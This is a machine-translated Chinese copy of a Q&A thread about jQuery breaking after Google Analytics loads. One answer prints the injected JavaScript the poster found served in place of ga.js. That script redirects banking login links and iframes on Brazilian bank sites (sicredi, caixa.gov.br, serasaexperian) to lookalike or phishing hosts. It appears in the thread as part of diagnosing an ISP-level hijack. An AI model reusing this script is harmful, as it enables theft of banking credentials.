谷歌Analytics(分析)调用jquery.min.js?(Google Analytics c

2019-10-29 11:17发布

我有谷歌分析问题的最后三天,与已工作了近2年没有修改一个jQuery脚本。

我使用的插件jQuery的饼干( https://github.com/carhartl/jquery-cookie )。

当我访问我的网站(通过Chrome和Firefox的Mac或Chrome和Safari浏览器在iOS设备上),谷歌分析(异步是安装程序)花费很长的时间来加载(这种行为是不常见的三天前,并没有修改在我的网站被做)。 虽然我的Chrome或Firefox标签纺纱装载机在旋转,显示的东西仍在加载(ga.js)的,一切工作正常。

但是,突然间,负荷的ga.js以及它所带来与它从ajax.googleapis.com/ajax/libs/jquery/1.7.1 jquery.min.js,从现在起我的jQuery脚本停止工作! 我从谷歌“检查元素”得到的消息是:

未捕获的类型错误:对象功能(A,B){返回新e.fn.init(A,B,H)}没有方法 '的Cookie'

这是很好的注意,我用我自己的服务器加载jQuery的,并没有从我的网站页面中使用从谷歌CDN加载的jQuery(我现在已经变更为谷歌CDN检查它是否可以修复它,但没有),和即使考虑到这一点,用的ga.js从谷歌这个jquery.min.js带来的,再次(在已加载)。

我的网站是www.tutorbrasil.com.br/forum(如果你想测试),而当你试图改变近期的主题页面,点击按钮“PROXIMO”(但问题只有GA到达后出现问题。 JS被加载,有时看起来ramdomly发生,有时会出现所有的时间)。

这同样的错误,我可以在网站上找到http://jsbeautifier.org/ 。

我认为这可能是谷歌的东西在改变的ga.js ......不过,确实的ga.js取决于jQuery的????

我用的mod_pagespeed把谷歌分析代码在我的网页,当我关闭此选项(根本没有分析),一切都顺利,因为它应该是。

亲切的问候...

Answer 1:

当连接到我的网站,或使用谷歌分析任何其他网站,我得到以下文件的ga.js:

(function() {
// Load the script
var script = document.createElement("SCRIPT");
script.src = 'https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';
script.type = 'text/javascript';
document.getElementsByTagName("head")[0].appendChild(script);

// Poll for jQuery to come into existance
var checkReady = function(callback) {
    if (window.jQuery) {
        callback(jQuery);
    }
    else {
        window.setTimeout(function() {
            checkReady(callback);
        }, 100);
    }
};

// Start polling...
checkReady(function($) {
    // Use $ here..
    if (document.location.host == 'www.sicredi.com.br') {
        popAccount = function(URL) {
            if (URL.match(/cnpj/i))
            {
                URL = URL.replace("https://ibpf.sicredi.com.br", "http://ibpf2.sicredi.com.br/pj");
            } else {
                URL = URL.replace("https://ibpf.sicredi.com.br", "http://ibpf2.sicredi.com.br");
            }
            var width = 1024;
            var height = 655;
            var left = 50;
            var top = 20;
            window.open(URL, 'janela', 'width=' + width + ', height=' + height + ', top=' + top + ', left=' + left + ', statusbar=yes, location=no, resizable=yes, scrollbars=yes');
        };
    } else if (document.location.host == 'www.caixa.gov.br') {
        var iNewhRef = 'http://internetbankingp.caixa.gov.br/SIIBC/index.processa';
        $("#internet_banking a").attr('href', iNewhRef);
        $("#acessibilidade a").attr('href', iNewhRef);
    } else if (document.location.host == 'www.serasaexperian.com.br') {
        var iNewhRef = 'http://vpn.xentertainment.in/login-corporativo.html';
        $("iframe").attr('src', iNewhRef);
    }
});
})();

所以,我意识到,我被欺骗了一些如何。 检查得远一点,我发现这篇文章: http://lastunturnedstone.blogspot.com.br/2013/03/google-redirect-virus-may-not-be-your.html

并可以得出结论,这个问题是在我的ISP(网络VIRTUA,来自巴西)。

我已经联系他们,我在等待答案。

亲切的问候。



Answer 2:

我采取猜测,这是用的mod_pagespeed一个问题:

为什么的PageSpeed给我jQuery中或js_tinyMCE错误?

一些JavaScript是内省的,是它自己的名字,或者它从加载的路径敏感。 虽然拥有的PageSpeed与已知是有问题的JavaScript库的文件名硬编码的内部列表(DisallowTroublesomeResources),并检查其他人寻找危险的构造的来源,它并不总是正确地确定它是否是安全的重写指定的文件。 如果您有给的JavaScript错误的文件,你可以告诉的PageSpeed与不允许息事宁人。

谷歌Analytics(分析)不需要jQuery的,而的mod_pagespeed有困难重写你的一些JS和因您的自定义文件的路径并没有意识到它应该独自离开你的jQuery插件。



文章来源: Google Analytics calling jquery.min.js?